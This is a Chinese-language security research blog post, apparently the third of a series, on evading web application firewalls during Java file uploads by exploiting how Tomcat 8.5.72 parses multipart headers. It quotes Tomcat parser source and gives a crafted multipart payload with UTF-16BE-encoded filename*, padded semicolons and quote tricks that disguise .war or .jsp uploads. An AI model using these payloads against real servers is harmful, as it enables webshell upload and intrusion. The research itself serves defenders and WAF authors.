探寻 Java 文件上传流量层面 waf 绕过( 三 )

这里作为演示我就随便选一个了 UTF-16BE

探寻 Java 文件上传流量层面 waf 绕过

文章插图
 
同样的我们也可以进行套娃结合上面的 filename=""y4.warK" 改成 filename="UTF-16BE'Y4tacker'
%00%22%00y%00%5C%004%00.%00%5C%00w%00%5C%00a%00r%00K"
接下来处理点小加强,可以看到在这里分隔符无限加,而且加了??号的字符之后也会去除一个??号
探寻 Java 文件上传流量层面 waf 绕过

文章插图
 
因此我们最终可以得到如下payload,此时仅仅基于正则的waf规则就很有可能会失效
------WebKitFormBoundaryQKTY1MomsixvN8vXContent-Disposition: form-data*;;;;;;;;;;name*="UTF-16BE'Y4tacker'%00d%00e%00p%00l%00o%00y%00W%00a%00r";;;;;;;;filename*="UTF-16BE'Y4tacker'%00%22%00y%00%5C%004%00.%00%5C%00w%00%5C%00a%00r%00K"Content-Type: application/octet-stream123------WebKitFormBoundaryQKTY1MomsixvN8vX--可以看见成功上传
探寻 Java 文件上传流量层面 waf 绕过

文章插图
 
变形之parseQuotedToken这里测试版本是Tomcat8.5.72,这里也不想再测其他版本差异了只是提供一种思路
在此基础上我发现还可以做一些新的东西,其实就是对
org.apache.tomcat.util.http.fileupload.ParameterParser#parse(char[], int, int, char) 函数进行深入分析
在获取值的时候 paramValue = https://www.isolves.com/it/cxkf/yy/JAVA/2022-07-13/parseQuotedToken(new char[] {separator }); ,其实是按照分隔符 ; 分割,因此我们不难想到前面的东西其实可以不用 " 进行包裹,在parseQuotedToken最后返回调用的是 return getToken(true); ,这个函数也很简单就不必多解释
private String getToken(final boolean quoted) {// Trim leading white spaceswhile ((i1 < i2) && (Character.isWhitespace(chars[i1]))) {i1++;}// Trim trailing white spaceswhile ((i2 > i1) && (Character.isWhitespace(chars[i2 - 1]))) {i2--;}// Strip away quotation marks if necessaryif (quoted&& ((i2 - i1) >= 2)&& (chars[i1] == '"')&& (chars[i2 - 1] == '"')) {i1++;i2--;}String result = null;if (i2 > i1) {result = new String(chars, i1, i2 - i1);}return result;}可以看到这里也是成功识别的
探寻 Java 文件上传流量层面 waf 绕过

文章插图
 
既然调用 parse 解析参数时可以不被包裹,结合getToken函数我们可以知道在最后一个参数其实就不必要加 ; 了,并且解析完通过 params.get("filename") 获取到参数后还会调用到
org.apache.tomcat.util.http.parser.HttpParser#unquote 那也可以基于此再次变形
为了直观这里就直接明文了,是不是也很神奇
探寻 Java 文件上传流量层面 waf 绕过

文章插图
 
继续看看这个解析value的函数,它有两个终止条件,一个是走到最后一个字符,另一个是遇到 ;
如果我们能灵活控制终止条件,那么waf引擎在此基础上还能不能继续准确识别呢?
private String parseQuotedToken(final char[] terminators) {char ch;i1 = pos;i2 = pos;boolean quoted = false;boolean charEscaped = false;while (hasChar()) {ch = chars[pos];if (!quoted && isOneOf(ch, terminators)) {break;}if (!charEscaped && ch == '"') {quoted = !quoted;}charEscaped = (!charEscaped && ch == '\');i2++;pos++;}return getToken(true);}如果你理解了上面的代码你就能构造出下面的例子
探寻 Java 文件上传流量层面 waf 绕过

文章插图
 
同时我们知道jsp如果带 " 符号也是可以访问到的,因此我们还可以构造出这样的例子
探寻 Java 文件上传流量层面 waf 绕过

文章插图
 
还能更复杂点么,当然可以结合这里的情况  ,以及上篇文章当中提到的
org.apache.tomcat.util.http.parser.HttpParser#unquote 中对出现  后参数的转化操作,这时候如果waf检测引擎当中是以最近 "" 作为一对闭合的匹配,那么waf检测引擎可能会认为这里上传的文件名是 y4tacker.txt ,从而放行
探寻 Java 文件上传流量层面 waf 绕过

文章插图
 
变形之双写filename*与filename这个场景相对简单
首先tomcat的
org.apache.catalina.core.ApplicationPart#getSubmittedFileName 的场景下,文件上传解析header的过程当中,存在while循环会不断往后读取,最终会将key/value以Haspmap的形式保存,那么如果我们写多个那么就会对其覆盖,在这个场景下绕过waf引擎没有设计完善在同时出现两个filename的时候到底取第一个还是第二个还是都处理,这些差异性也可能导致出现一些新的场景


推荐阅读